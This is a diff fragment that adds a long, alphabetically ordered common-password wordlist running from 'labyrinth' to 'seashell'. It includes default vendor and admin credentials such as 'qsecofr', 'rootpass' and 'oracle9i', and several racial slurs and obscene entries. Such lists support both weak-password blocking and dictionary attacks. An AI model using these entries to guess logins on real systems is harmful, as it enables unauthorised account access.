+labyrinth
+lacika
+lacoste
+lacrosse
+laddie
+ladies
+lady
+ladybird
+ladybug
+lafayette
+laflaf
+lagrange
+laguna
+lakers
+lakers1
+lakers24
+lakeview
+lakewood
+lakota
+lakshmi
+lala
+lalaila
+lalakers
+lalala
+lalalala
+lalaland
+lambchop
+lamination
+lammas
+lana
+lance
+lancelot
+lancer
+lander
+landlord
+landon
+lang
+langston
+language
+lantern
+larkspur
+larsen
+laser
+laserjet
+lastfm
+lasvegas
+latina
+latvija
+laughing
+laughter
+laura
+lauren
+lauren1
+laurence
+laurie
+laurynas
+lausanne
+lavalamp
+lavender
+lavoro
+law
+lawrence
+lazarus
+leader
+leadership
+leaf
+leanne
+leather
+leaves
+leblanc
+lebron23
+ledzep
+lee
+leelee
+lefty
+legend
+legendary
+legoland
+legolas
+legos
+lehtinen
+leinad
+lekker
+leland
+lemah
+lemans
+lemmein
+leng
+lenka
+lennon
+leo
+leon
+leonard
+leonardo
+leonidas
+leopard
+leopards
+leopoldo
+leprechaun
+leroy
+lesbian
+lesbians
+lesley
+leslie
+lespaul
+lester
+letacla
+letitbe
+letmein
+letmein1
+letmein123
+letsdoit
+levente
+lewis
+lexus1
+liang
+libertad
+liberty
+libra
+library
+lick
+licker
+licking
+lickit
+lickme
+licorice
+lietuva
+lifeboat
+lifeguard
+lifehack
+lifeless
+lifesaver
+lifestyle
+lifesucks
+lifetime
+light
+lighter
+lighthouse
+lighting
+lightning
+liliana
+lilike
+lilith
+lilleman
+lillie
+lilly
+lilmama
+lilwayne
+lima
+limewire
+limited
+limpbizkit
+lincogo1
+lincoln
+lincoln1
+linda
+linda123
+lindberg
+lindros
+lindsay
+lindsey
+lineage2
+ling
+lingerie
+link
+linkedin
+linkin
+linkinpark
+links
+linnea
+lionheart
+lionking
+lionlion
+lipgloss
+lips
+liquid
+lisalisa
+little
+little1
+littleman
+liutas
+live
+livelife
+liverpoo
+liverpool
+liverpool1
+livewire
+livingston
+liz
+lizard
+lizottes
+lizzie
+lizzy
+ljubica
+lkjhgf
+lkjhgfds
+lkjhgfdsa
+lkwpeter
+llamas
+llll
+lllll
+llllllll
+lobo
+lobsters
+localhost
+location
+lockheed
+lockout
+locks
+loco
+lofasz
+logger
+logical
+login
+login123
+logistic
+logistics
+logitech
+loislane
+loki
+lokita
+lol
+lol123
+lol123456
+lola
+lolek
+lolek1
+lolek123
+lolikas
+loliks
+lolipop
+lolipop1
+lolita
+loll123
+lollakas
+lollero
+lollike
+lollipop
+lollkoll
+lollol
+lollol123
+lollpea
+lollypop
+lololo
+lolololo
+lombardo
+london
+london22
+lonely
+lonesome
+lonestar
+long
+longbeach
+longbow
+longdong
+longhair
+longhorn
+longjohn
+longshot
+longtime
+lookatme
+looker
+looking
+lookout
+looney
+loophole
+loose
+lopas
+lopas123
+lopaslopas
+lopass
+lorena
+lorenzo
+lorin
+lorna
+lorraine
+lorrie
+losen
+loser
+loser1
+losers
+lost
+lotus
+LOTUS
+lou
+loud
+louie
+louis
+louise
+louisiana
+louisville
+loulou
+lourdes
+love
+love1
+love11
+love12
+love123
+love1234
+love13
+love22
+love4ever
+love69
+loveable
+lovebird
+lovebug
+lovehurts
+loveit
+lovelace
+loveless
+lovelife
+lovelove
+lovely
+lovely1
+loveme
+loveme1
+loveme2
+lover
+lover1
+loverboy
+lovergirl
+lovers
+lovers1
+loves
+lovesex
+lovesong
+loveu
+loveya
+loveyou
+loveyou1
+loveyou2
+loving
+lowell
+lozinka
+lozinka1
+lp
+luan
+lucas
+lucas1
+lucas123
+lucero
+lucia
+luciana
+lucifer
+lucija
+luck
+lucky
+lucky1
+lucky13
+lucky14
+lucky7
+lucky777
+luckydog
+luckyone
+lucretia
+lucy
+ludacris
+ludwig
+luis
+lukas123
+lukasko
+lulu
+lumberjack
+luna
+lunita
+lupita
+luscious
+lust
+luther
+lynn
+lynne
+lynnette
+lynx
+m
+m123456
+m1911a1
+maasikas
+macaco
+macarena
+macdaddy
+macdonald
+macgyver
+macha
+machine
+maciek
+maciek1
+macika
+macintosh
+mackenzie
+macmac
+macman
+macromedia
+macross
+macska
+madalena
+madalina
+madcat
+madcow
+madden
+maddie
+maddog
+madeline
+Madeline
+madhouse
+madison
+madison1
+madman
+madmax
+madonna
+madonna1
+madrid
+madsen
+madzia
+maelstrom
+maestro
+maganda
+magda
+magdalen
+magdalena
+magelan
+magga
+maggie
+maggie1
+magic
+magic123
+magic32
+magical
+magician
+magnetic
+magnolia
+magnum
+magyar
+mahal
+mahalkita
+mahalko
+mahalkoh
+mahesh
+mahler
+mahogany
+maiden
+mailer
+mailman
+maine
+maint
+maintain
+maintenance
+majmun
+major
+majordomo
+makaka
+makaveli
+makeitso
+makelove
+makimaki
+makkara
+makkara1
+maksim
+maksimka
+malaka
+malakas1
+malakas123
+malamute
+malaysia
+malcolm
+malcom
+maldita
+malena
+malene
+malibu
+mallorca
+mallory
+mallrats
+mama
+mama123
+mamamama
+mamapapa
+mamas
+mamicka
+mamina
+maminka
+mamita
+mamma
+mamma1
+mamma123
+mammamia
+mammoth
+mamyte
+manag3r
+manage
+manageme
+management
+manager
+manchest
+manchester
+mandarin
+mandingo
+mandragora
+mandrake
+maneater
+manga
+maniek
+maniez
+manifest
+manifesto
+manifold
+manijak
+manisha
+manitoba
+mankind
+manman
+manocska
+manoka
+manolito
+manowar
+manpower
+mansfield
+mansikka
+manson
+mantas
+mantas123
+manticore
+mantis
+manuel
+manusia
+manutd
+maple
+mar
+marathon
+marbella
+marble
+marcel
+marcela
+marcella
+marcello
+marcelo
+march
+marciano
+marcin1
+marco
+marcopolo
+marcos
+marcus
+marcy
+marecek
+marek
+mareks
+margaret
+margarita
+margherita
+margie
+marguerite
+margus
+maria
+maria1
+mariah
+mariah1
+marian
+mariana
+marianne
+maribel
+marie
+marie1
+mariel
+mariela
+marigold
+marija
+marijana
+marijuan
+marilyn
+marina
+marine
+mariner
+mariners
+marines
+marino
+mario
+mario123
+marion
+marios
+mariposa
+marisa
+marisol
+marissa
+maritime
+mariukas
+marius
+mariusz
+marjorie
+mark
+marker
+market
+marko
+markus
+markuss
+marlboro
+marlene
+marley
+marlon
+marni
+marquis
+marquise
+married
+marriott
+mars
+marseille
+marshal
+marshall
+marshmallow
+mart
+marta
+martha
+martin
+martin123
+martina
+martinez
+martini
+martinka
+martinko
+marvel
+marvelous
+marvin
+mary
+maryann
+maryanne
+marybeth
+maryjane
+marykate
+maryland
+marymary
+marzipan
+masahiro
+masamasa
+masamune
+masayuki
+mash4077
+masina
+mason
+mason1
+massacre
+massage
+master
+master01
+master1
+master123
+masterbate
+masterchief
+mastermind
+masterp
+masters
+matchbox
+matematica
+matematika
+material
+mateus
+mateusz1
+math
+mathematics
+matheus
+mathew
+mathias
+mathias123
+matija
+matilda
+matkhau
+matrix
+matrix123
+matt
+matthew
+matthew1
+matthieu
+matti
+mattia
+mattingly
+mattress
+mature
+matus
+matusko
+maurice
+mauricio
+maurizio
+maverick
+mavericks
+maxdog
+maxima
+maxime
+maximilian
+maximum
+maximus
+maxine
+maxwell
+maxx
+maxxxx
+maymay
+mazda
+mazda1
+mazda6
+maziukas
+mazsola
+mazute
+mcgregor
+mcintosh
+mckenzie
+mckinley
+mcknight
+mclaren
+meadow
+meat
+meathead
+mech
+media
+mediator
+medic
+medical
+medicina
+medina
+medion
+medusa
+mega
+megabyte
+megadeth
+megaman
+megan
+megan1
+megaparol12345
+megapass
+megatron
+meggie
+meghan
+mehmet
+meister
+melanie
+melanie1
+melati
+melbourne
+melissa
+melissa1
+mellon
+melody
+melrose
+melville
+melvin
+member
+mememe
+memorex
+memorial
+memory
+memphis
+menace
+mendoza
+mensuck
+mental
+mentor
+meow
+meowmeow
+mephisto
+mercedes
+mercenary
+merchant
+mercury
+mercutio
+merde
+merdeka
+meredith
+merete
+meridian
+merja
+merlin
+merlin1
+mermaid
+mermaids
+merrill
+messenger
+mester
+metal
+metalgear
+metallic
+metallica
+metallica1
+metaphor
+method
+metropolis
+mets
+mexican
+mexico
+mexico1
+mfd
+mfg
+mgr
+mhine
+miamor
+mian
+miao
+michael
+michael1
+michael3
+michaela
+michal
+michal1
+micheal
+michel
+michela
+michele
+michelle
+michelle1
+michigan
+michou
+mick
+mickel
+mickey
+mickey1
+mickeymouse
+micro
+microlab
+micron
+microphone
+microsoft
+midaiganes
+middle
+midnight
+midnight1
+midnite
+midori
+midvale
+mierda
+migrate
+miguel
+miguelangel
+mihaela
+mihkel
+mike
+mike1
+mike123
+mike1234
+mikemike
+mikey
+mikey007
+mikey1
+miki
+mikkel123
+milagros
+milan
+milanisti
+milanko
+milano
+mildred
+miles
+milk
+millenia
+millenium
+miller
+millhouse
+millie
+million
+millionaire
+millions
+millwall
+milo
+milwaukee
+minaise
+minasiin
+mindaugas
+mindy
+mine
+minecraft
+minemine
+minerva
+mingus
+minime
+minimoni
+ministry
+minnie
+minority
+minotaur
+minsky
+minstrel
+minuoma
+miracle
+miracles
+mirage
+mirakel
+miranda
+mireille
+miriam
+mirror
+mischief
+misery
+misfit
+mishka
+misko
+mission
+mississippi
+missy
+mistress
+misty
+misty1
+mit
+mitchell
+mithrandir
+mitsubishi
+mmmmm
+mmmmmm
+mmmmmmm
+mmmmmmmm
+mmouse
+mnbvcx
+mnbvcxz
+mnemonic
+mobile
+mockingbird
+modeling
+modem
+modena
+moderator
+modern
+modestas
+mogul
+moguls
+mohammad
+mohammed
+mohawk
+moi123
+moikka
+moikka123
+moimoi12
+moimoi123
+moises
+mojo
+mokito
+molecule
+mollie
+molly
+molly1
+molly123
+molson
+momentum
+mommy
+mommy1
+momoney
+monarch
+monday
+mone
+monet
+money
+money1
+money159
+moneybag
+moneyman
+mongola
+mongoose
+monica
+monika
+monique
+monisima
+monitor
+monk
+monkey
+monkey01
+monkey1
+monkeyboy
+monkeyman
+monkeys
+monkeys1
+monolith
+monopoli
+monopoly
+monorail
+monsieur
+monster
+monster1
+monsters
+montag
+montana
+montana1
+monte
+montecar
+montecarlo
+monteiro
+monterey
+montreal
+Montreal
+montrose
+monty
+monyet
+mookie
+moomoo
+moon
+moonbeam
+moondog
+mooney
+moonlight
+moonmoon
+moonshin
+moonwalk
+moore
+moose
+mooses
+mopar
+morales
+mordi123
+mordor
+more
+moreau
+morena
+morenita
+morfar
+morgan
+morgan1
+morimori
+moritz
+moron
+moroni
+morpheus
+morphine
+morrigan
+morris
+morrison
+morrissey
+morrowind
+mort
+mortal
+mortgage
+morton
+mosquito
+mot de passe
+motdepasse
+mother
+mother1
+motherfucker
+motherlode
+mothers
+motion
+motocros
+motor
+motorola
+mountain
+mountaindew
+mountains
+mouse
+mousepad
+mouth
+movement
+movie
+movies
+mozart
+msc
+msd
+muffin
+muhammed
+mulberry
+mulder1
+mullet
+multimedia
+multipass
+munch
+munchies
+munchkin
+munich
+muppet
+murder
+murderer
+murphy
+musashi
+muscle
+muscles
+mushroom
+mushrooms
+music
+music1
+musica
+musical
+musician
+musirull
+mustang
+mustang1
+mustikas
+mutant
+mutation
+muusika
+muzika
+mybaby
+mydick
+mygirl
+mykids
+mylife
+mylove
+mymother
+myname
+mynameis
+mypass
+mypassword
+mypc123
+myriam
+myself
+myspace
+myspace1
+myspace123
+myspace2
+mysterio
+mystery
+mystery1
+mystic
+mystical
+myszka
+mythology
+n
+N0=Acc3ss
+nacional
+nadia
+nadine
+nagel
+nakamura
+naked
+nakki123
+namaste
+nameless
+names
+nana
+nanacita
+nancy
+nancy1
+nang
+nanook
+nantucket
+naomi703
+napalm
+napoleon
+napster
+narancs
+narayana
+naruto
+naruto1
+nasa
+nascar
+nashville
+nastja
+nasty1
+nastya
+nat
+natalia
+nataliag
+natalie
+natalija
+natascha
+natasha
+natasha1
+natation
+nathalie
+nathan
+nathan1
+nathaniel
+nation
+national
+native
+naub3.
+naughty
+naughty1
+naujas
+nautica
+navajo
+naveen
+navigator
+nazgul
+ncc1701
+NCC1701
+ncc1701d
+ncc1701e
+ncc74656
+ne1410s
+ne1469
+necromancer
+nederland
+needles
+neeger
+neekeri
+nefertiti
+neger123
+negrita
+neighbor
+neil
+neko
+nekoneko
+nelson
+nemesis
+nemesis1
+nemtom
+nemtudom
+neng
+nenita
+nepenthe
+nepoviem
+neptune
+nerijus
+nermal
+nesakysiu
+nesamone
+nesbit
+nesbitt
+ness
+nestle
+net
+netgear1
+netlink
+netman
+netscreen
+netware
+network
+networks
+never
+neverdie
+nevets
+neviem
+newaccount
+newark
+newcastl
+newcastle
+newcomer
+newdelhi
+newhouse
+newlife
+newman
+newpass
+newpass6
+newpassword
+newport
+newton
+newworld
+newyork
+newyork1
+next
+nexus6
+nezinau
+neznam
+nguyen
+nicaragua
+nicasito
+niceass
+niceguy
+nicholas
+nicholas1
+nichole
+nick
+nicklaus
+nickname
+nickolas
+nico
+nicola
+nicolai
+nicolas
+nicole
+nicole1
+nicotine
+niekas
+nielsen
+nietzsche
+nigga
+nigger
+nigger1
+night
+nightcrawler
+nightfall
+nightman
+nightmare
+nights
+nightshade
+nightshadow
+nightwing
+nike
+nikenike
+nikhil
+niki
+nikita
+nikki
+niklas
+nikolaj
+nikolaos
+nikolas
+nikolaus
+nikoniko
+nikos
+nimbus
+nimda
+nimrod
+nincsen
+nine
+nineball
+nineinch
+niners
+ninja
+ninja1
+ninjas
+ninjutsu
+nintendo
+NIP6RMHe
+nipple
+nipples
+nirvana
+nirvana1
+nissan
+nisse
+nita
+nite
+nitro
+nitrogen
+nittany
+niunia
+nks230kjs82
+nnnnnn
+nnnnnnnn
+nobody
+nocturne
+noelle
+nofear
+nogomet
+noisette
+nomad
+nomeacuerdo
+nomore
+none1
+nonenone
+nong
+nonmember
+nonni
+nonono
+nonsense
+noodle
+nookie
+nopass
+nopasswd
+no password
+nopassword
+norbert
+Noriko
+norinori
+normal
+norman
+normandy
+nortel
+north
+northside
+northstar
+northwest
+norton
+norwich
+nosferatu
+nostradamus
+notes
+nothing
+nothing1
+notorious
+notused
+nounou
+nova
+novell
+november
+noviembre
+noway
+nowayout
+noxious
+nsa
+nuclear
+nuevopc
+nugget
+nuggets
+NULL
+number
+number1
+number9
+numberone
+nurse
+nursing
+nuts
+nutshell
+nylons
+nymets
+nympho
+nyq28Giz1Z
+nyuszi
+oakland
+oatmeal
+oaxaca
+obelix
+oblivion
+obsession
+obsidian
+obsolete
+octavian
+octavius
+october
+octopus
+odessa
+office
+officer
+ohshit
+ohyeah
+oicu812
+oilers
+oke
+oki
+oklahoma
+oko
+okokok
+okokokok
+oksana
+oktober
+ole123
+olive
+oliveira
+oliver
+olivetti
+olivia
+olivier
+olsen
+olympiakos7
+omarion
+omega1
+omgpop
+omsairam
+one
+onelove
+onetwo
+onion
+onkelz
+online
+onlyme
+OO
+oooo
+oooooo
+opendoor
+opennow
+opensesame
+opera123
+operations
+operator
+OPERATOR
+opi
+opop9090
+opposite
+optimist
+optimus
+optional
+oracle
+oracle8i
+oracle9i
+orange
+orange1
+orange12
+orca
+orchard
+orchestra
+orchid
+oreo
+organist
+organize
+orgasm
+oriental
+original
+orioles
+orion
+orion1
+orlando
+orthodox
+orwell
+osbourne
+oscar
+osijek
+osiris
+oskar
+otalab
+otenet1
+othello
+otis
+ottawa
+otto
+ou812
+outbreak
+outdoors
+outkast
+outlaw
+outside
+over
+overcome
+overdose
+overflow
+overhead
+overload
+overlook
+overlord
+override
+overseas
+overseer
+overtime
+overture
+owner
+oxford
+oxygen
+oxymoron
+oyster
+ozzy
+p
+p0o9i8u7y6
+P@55w0rd
+pa
+pa55word
+paagal
+pacino
+packard
+packer
+packers
+packrat
+pacman
+paco
+pad
+paddington
+paganini
+page
+painless
+paint
+paintbal
+painter
+painting
+pajero
+pakistan
+pakistan123
+pakistani
+palace
+palacios
+palestine
+palli
+pallina
+pallmall
+palmeiras
+palmer
+palmetto
+paloma
+palomino
+pam
+pamacs
+pamela
+Pamela
+pana
+panama
+panasonic
+panatha
+pancakes
+panchito
+panda
+panda1
+panda123
+pandabear
+pandas
+pandemonium
+pandora
+panget
+pangit
+panic
+pankaj
+pantera
+panther
+panther1
+panthers
+panties
+panzer
+paok1926
+paokara4
+paola
+papabear
+papaki
+papamama
+paparas
+paper
+paperclip
+papercut
+paperino
+papito
+pappa123
+parabola
+paradise
+paradiso
+parallel
+paramedic
+paramo
+paramore
+paranoia
+parasite
+paris
+parisdenoia
+parker
+parkside
+parliament
+parola
+parole
+paroli
+parool
+Parool123
+parrot
+partizan
+partner
+partners
+party
+pasadena
+pasaway
+pascal
+pasion
+paska
+paska1
+paska12
+paska123
+paskaa
+pasquale
+pass
+pass1
+pass12
+pass123
+pass1234
+Pass@1234
+pass2512
+passenger
+passion
+passion1
+passions
+passme
+passord
+passpass
+passport
+passw0rd
+Passw0rd
+passwd
+passwerd
+passwo4
+passwor
+
+password
+password!
+password.
+Password
+PASSWORD
+password0
+password00
+password01
+password1
+Password1
+password11
+password12
+password123
+password1234
+password13
+password2
+password22
+password3
+password7
+password8
+password9
+passwort
+Passw@rd
+pastor
+patata
+patches
+patches1
+pathetic
+pathfind
+pathfinder
+patience
+patito
+patoclero
+patrice
+patricia
+patricio
+patrick
+patrick1
+patrik
+patriots
+patrol
+patrycja
+patryk1
+patty
+paul
+paula
+paulchen
+paulina
+pauline
+paulis
+paulius
+pavel
+pavilion
+pavlov
+pawel1
+payday
+PE#5GZ29PTZMSE
+peace
+peace1
+peaceful
+peacemaker
+peaceman
+peach
+peaches
+peaches1
+peachy
+peacock
+peanut
+peanut1
+peanutbutter
+peanuts
+Peanuts
+pearl
+pearljam
+pearson
+pebbles
+pecker
+pederast
+pedersen
+pedro
+peekaboo
+peepee
+peeper
+peerless
+peeter
+peewee
+pegasus
+pelirroja
+pelle123
+peluche
+pelusa
+pencil
+pendejo
+pendulum
+penelope
+penetration
+peng
+penguin
+penguin1
+penguins
+penis
+pensacola
+pentagon
+pentagram
+penthous
+pentium
+pentium3
+pentium4
+people
+peoria
+pepe
+pepper
+pepper1
+peppers
+pepsi1
+pepsi123
+pepsicola
+perach
+peregrin
+peregrine
+perfect
+perfect1
+perfection
+perfecto
+performance
+pericles
+perkele
+perkele1
+perkele666
+perlita
+permanent
+perros
+perry
+perse
+persephone
+pershing
+persib
+persimmon
+persona
+personal
+pertti
+peruna
+pervert
+petalo
+peter
+peter123
+peterk
+peterman
+peterpan
+peterson
+petey
+petra
+petronas
+petter
+petteri
+peugeot
+peyton
+phantasy
+phantom
+phantom1
+phantoms
+phat
+pheasant
+pheonix
+phil
+philadelphia
+philip
+philipp
+philips
+phillip
+philly
+philosophy
+phish
+phishy
+phoebe
+phoenix
+Phoenix
+photo
+photography
+photos
+photoshop
+phpbb
+phyllis
+physical
+physics
+pian
+piano
+piano1
+piao
+piazza
+picard
+picasso
+piccolo
+pickle
+pickles
+pickwick
+pics
+picture1
+pictures
+pierce
+pierre
+piff
+piggy
+piglet
+pikachu
+pikapika
+pillow
+pimp
+pimpin
+pimpin1
+pimping
+pimpis
+pineappl
+pineapple
+pinecone
+ping
+pingpong
+pink
+pink123
+pinkerton
+pinkie
+pinkpink
+pinky
+pinky1
+pinnacle
+piolin
+pioneer
+pioneers
+piotrek
+piper1
+pipoca
+pippen
+pippin
+piramide
+pirate
+pisces
+piscis
+pissing
+pissoff
+pistol
+pistons
+pit
+pitbull
+pitch
+pittsburgh
+pizza
+pizza123
+pizzahut
+pizzas
+pjakkur
+pk3x7w9W
+plane
+planes
+planet
+plankton
+planning
+plasma
+plastic
+platform
+platinum
+plato
+platypus
+play
+playa
+playback
+playboy
+playboy1
+player
+player1
+players
+playgirl
+playground
+playhouse
+playoffs
+playstat
+playstation
+playtime
+pleasant
+please
+pleasure
+PlsChgMe!
+plumbing
+pluto
+plutonium
+PM
+pmi
+pn
+po
+poa
+pocahontas
+pocitac
+pocket
+poetic
+poetry
+pogiako
+point
+pointofsale
+poipoi
+poison
+poisson
+poiuyt
+poiuytrewq
+pokemon
+pokemon1
+pokemon123
+poker
+poker1
+pokerface
+polar
+polarbear
+polaris
+police
+police123
+poliisi
+polina
+polish
+politics
+polkadot
+poll
+pollito
+polly
+PolniyPizdec0211
+polska
+polska12
+polska123
+polynomial
+pom
+pomme
+poncho
+pong
+pony
+poochie
+poohbear
+poohbear1
+pookey
+pookie
+Pookie
+pookie1
+poonam
+poontang
+poop
+pooper
+poophead
+poopoo
+pooppoop
+poopy
+pooter
+popcorn
+popcorn1
+popeye
+popo
+popopo
+popopopo
+popper
+poppop
+poppy
+popsicle
+porcodio
+porcupine
+pork
+porkchop
+porn
+pornking
+porno
+porno1
+pornos
+pornstar
+porque
+porsche
+porsche9
+portable
+porter
+portugal
+positive
+positivo
+possible
+POST
+postal
+postcard
+postman
+postmaster
+potato
+potter
+povilas
+power
+power1
+powerade
+powerhouse
+powers
+ppp
+pppp
+pppppp
+ppppppp
+pppppppp
+pradeep
+praise
+prakash
+prasad
+prashant
+pratama
+praveen
+prayer
+preacher
+preciosa
+precious
+precision
+predator
+preeti
+pregnant
+prelude
+premium
+presario
+prescott
+presence
+president
+presidio
+presley
+pressure
+presto
+preston
+pretender
+pretty
+pretty1
+prettygirl
+priest
+primary
+primetime
+primos
+prince
+prince1
+princesa
+princesita
+princess
+PRINCESS
+princess1
+princesse
+principe
+pringles
+print
+printer
+PRINTER
+printing
+priscila
+priscilla
+prisoner
+prissy
+private
+private1
+priyanka
+problems
+prodigy
+producer
+production
+products
+professional
+professor
+profit
+progressive
+projects
+prometheus
+promises
+propaganda
+prophecy
+prophet
+prosper
+prosperity
+prost
+protected
+protection
+protector
+protocol
+prototype
+protozoa
+provence
+providence
+provider
+prowler
+proxy
+prs12345
+przemek
+psa
+psalms
+psb
+psp
+p@ssw0rd
+psycho
+pub
+public
+publish
+puck
+puddin
+pudding
+puertorico
+pukayaco14
+pulgas
+pulsar
+pumper
+pumpkin
+pumpkin1
+punch
+puneet
+punker
+punkin
+puppet
+puppies
+puppy
+purchase
+purdue
+purple
+purple1
+puss
+pussey
+pussie
+pussies
+pussy
+pussy1
+pussy123
+pussy69
+pussycat
+puteri
+putter
+puzzle
+pw
+pw123
+pwpw
+pyramid
+pyramids
+pyro
+python
+q
+q12345
+q123456
+q123456789
+q123q123
+q1w2e3
+q1w2e3r4
+q1w2e3r4t5
+q1w2e3r4t5y6
+q2w3e4r5
+qa
+qawsed
+qawsedrf
+qaz123
+qazqaz
+qazwsx
+qazwsx1
+qazwsx123
+qazwsxed
+qazwsxedc
+qazwsxedc123
+qazwsxedcrfv
+qazxsw
+qing
+qistina
+qosqomanta
+QOXRzwfr
+qq123456
+qqq111
+qqqq
+qqqqq
+qqqqqq
+qqqqqqq
+qqqqqqqq
+qqqqqqqqqq
+qqww1122
+QS
+qsecofr
+QsEfTh22
+quagmire
+quan
+quasar
+quebec
+queen
+queenbee
+queens
+querty
+question
+quicksilver
+quiksilver
+quintana
+qwaszx
+qwe
+qwe123
+qwe123456
+qwe123qwe
+qwe789
+qweasd
+qweasd123
+qweasdzx
+qweasdzxc
+qweasdzxc123
+qweewq
+qweqwe
+qweqweqwe
+qwer
+qwer1234
+qwerasdf
+qwert
+qwert1
+qwert123
+qwert1234
+qwert12345
+qwerty
+qwerty00
+qwerty01
+qwerty1
+Qwerty1
+qwerty12
+qwerty123
+Qwerty123!
+qwerty1234
+Qwerty1234
+qwerty12345
+qwerty123456
+qwerty22
+qwerty321
+qwerty69
+qwerty78
+qwerty80
+qwertyqwerty
+qwertyu
+qwertyui
+qwertyuiop
+qwertz
+qwertzui
+qwertzuiop
+qwewq
+qwqwqw
+r0ger
+r8xL5Dwf
+R9lw4j8khX
+rabbit
+Rabbit
+racecar
+racer
+rachel
+rachel1
+rachelle
+rachmaninoff
+racing
+racoon
+radagast
+radhika
+radiator
+radical
+radioman
+rafael
+rafaeltqm
+raffaele
+rafferty
+rafiki
+ragga
+ragnarok
+rahasia
+raider
+raiders
+raiders1
+rain
+rainbow
+rainbow1
+rainbow6
+rainbows
+raindrop
+rainfall
+rainmaker
+rainyday
+rajesh
+ralfs123
+rallitas
+ram
+rambo
+rambo1
+ramesh
+ramirez
+rammstein
+ramona
+ramones
+rampage
+ramram
+ramrod
+ramstein
+ramunas
+ranch
+rancid
+randolph
+random
+randy
+randy1
+ranger
+rangers
+rangers1
+raptor
+rapture
+rapunzel
+raquel
+rascal
+rasdzv3
+rashmi
+rasmus123
+rasta
+rasta1
+rastafari
+rastafarian
+rastaman
+ratboy
+rational
+ratman
+raven
+raymond
+raymond1
+rayray
+razor
+razz
+re
+readers
+readonly
+ready
+reagan
+real
+really
+realmadrid
+reaper
+rebane
+rebecca
+rebecca1
+rebeka
+rebelde
+rebels
+reckless
+record
+recorder
+records
+red
+red123
+red12345
+redalert
+redbaron
+redbeard
+redbird
+redcar
+redcloud
+reddevil
+reddog
+redeemed
+redeemer
+redemption
+redeye
+redhead
+redheads
+redhorse
+redhot
+redlight
+redline
+redman
+redred
+redriver
+redrose
+redrum
+reds
+redskin
+redskins
+redsox
+redstone
+redwing
+redwings
+reed
+reference
+reflection
+reflex
+reggie
+regiment
+regina
+reginald
+regional
+register
+registration
+reilly
+reindeer
+reinis
+rejoice
+relative
+relentless
+reliable
+reliance
+reliant
+reload
+reloaded
+rembrandt
+remember
+reminder
+remote
+rendezvous
+renegade
+reng
+rental
+repair
+replicate
+replicator
+report
+reports
+reptile
+republic
+republica
+requiem
+rescue
+research
+reserve
+resident
+resistance
+response
+restaurant
+resurrection
+retard
+retarded
+retire
+retired
+retriever
+revenge
+review
+rex
+reynaldo
+reynolds
+reznor
+rghy1234
+rhapsody
+rhino
+ribica
+ricardo
+ricardo1
+riccardo
+rich
+richard
+richard1
+richardson
+richie
+richmond
+rick
+ricky
+rico
+ricochet
+ride
+rider
+ridge
+riffraff
+rifleman
+right
+rihards
+rijeka
+ring
+ripper
+rita
+river
+rivera
+riverhead
+riverside
+rje
+ro
+road
+roadkill
+roadking
+robbie
+robby
+robert
+robert1
+robert12
+roberta
+roberto
+roberts
+robertson
+robin
+robinson
+robotech
+robotics
+roche
+rochelle
+rochester
+rock
+rocker
+rocket
+rocketman
+rockets
+rockford
+rockhard
+rockie
+rockies
+rockin
+rockland
+rockme
+rockon
+rockport
+rockrock
+rocks
+rockstar
+rockstar1
+rocku
+rocky
+rocky1
+rodent
+rodeo
+roderick
+rodina
+rodney
+rodrigo
+rodrigues
+rodriguez
+roger
+roger1
+rogue
+rokas123
+roland
+rolex
+roller
+rollin
+rollins
+rolltide
+romain
+romance
+romania
+romanko
+romantico
+romeo
+romero
+ronald
+ronaldinho
+ronaldo
+ronaldo9
+rong
+roni
+ronica
+ronnie
+roofer
+rookie
+rooney
+roosevelt
+rooster
+roosters
+root
+root123
+rootadmin
+rootbeer
+rootme
+rootpass
+rootroot
+rosalinda
+rosario
+roscoe
+roseanne
+rosebud
+rosebush
+rosemary
+rosenborg
+roserose
+roses
+rosie
+rosita
+ross
+rossella
+rotation
+rotten
+rotterdam
+rouge
+rough
+route66
+router
+rovers
+roxana
+roxanne
+roxy
+royal
+royals
+rr123456rr
+rrrr
+rrrrr
+rrrrrr
+rrrrrrrr
+rrs
+ruan
+rubble
+ruben
+rudeboy
+rudolf
+rudy
+rufus
+rugby
+rugby1
+rugger
+rules
+rumble
+runar
+runaway
+runescape
+runner
+running
+rupert
+rush2112
+ruslan
+russel
+russell
+russia
+russian
+rusty
+rusty2
+ruth
+ruthless
+rw
+rwa
+RwfCxavL
+ryan
+ryousuke
+s123456
+s4l4s4n4
+saabas
+saatana
+saatana1
+sabine
+sabotage
+sabres
+sabrina
+sacramento
+sacrifice
+sadie
+sadie1
+sagitario
+sagittarius
+sahabat
+saibaba
+saigon
+sailfish
+sailing
+sailor
+sailormoon
+saint
+saints
+sairam
+saiyan
+sakalas
+sakamoto
+sakura
+sakurasaku
+sakusaku
+sal
+saladus
+salainen
+salama
+salamandra
+salasana
+salasana123
+salasona
+saleen
+sales
+salinger
+sally
+salmon
+salomon
+salope
+salou25
+salut
+salvador
+salvation
+samantha
+samantha1
+sambo
+samiam
+samko
+sammakko
+sammie
+sammy
+sammy1
+sammy123
+samoht
+sample
+SAMPLE
+Sample123
+sampson
+samsam
+samson
+samsung
+samsung1
+samsung123
+samuel
+samuel22
+samuli
+samurai
+sanane
+sanane123
+sananelan
+sanchez
+sand
+sandeep
+sander
+sandhya
+sandi
+sandman
+sandoval
+sandra
+sandrock
+sandstorm
+sandwich
+sandy
+sanfran
+sanguine
+sanjay
+sanjose
+sanpedro
+santa
+santana
+santiago
+santos
+santosh
+santtu
+sanyika
+saopaulo
+SAP
+sap123
+sapphire
+sarah
+sarah1
+sarasara
+sarita
+sascha
+sasha
+sasha123
+sasquatch
+sassy
+sassy1
+sasuke
+satan666
+satelite
+satellite
+satisfaction
+satori
+satriani
+saturday
+saturn
+saturn5
+saulite
+saulute
+saulyte
+saunders
+sausage
+savage
+savanna
+savannah
+sawyer
+saxon
+saxophone
+sayang
+sayangkamu
+sayonara
+scarface
+scarlet
+scarlett
+schalke
+schatzi
+schedule
+scheisse
+scheme
+schiller
+schnapps
+schneider
+schnitzel
+school
+school1
+schooner
+schroeder
+schule
+schumacher
+schuster
+schwartz
+science
+scirocco
+scissors
+scofield
+scooby
+scooby1
+scoobydo
+scoobydoo
+scooter
+scooter1
+scooters
+score
+scorpio
+scorpio1
+scorpion
+scorpions
+scotch
+scotland
+scott
+scott1
+scottie
+scottish
+scotty
+scout
+scouting
+scramble
+scranton
+scrapper
+scrappy
+scream
+screamer
+screen
+screw
+screwy
+scribble
+scrooge
+scruffy
+scuba1
+scully
+seabee
+seadoo
+seagate
+seagull
+seahawks
+seahorse
+searay
+search
+searcher
+searching
+seashell
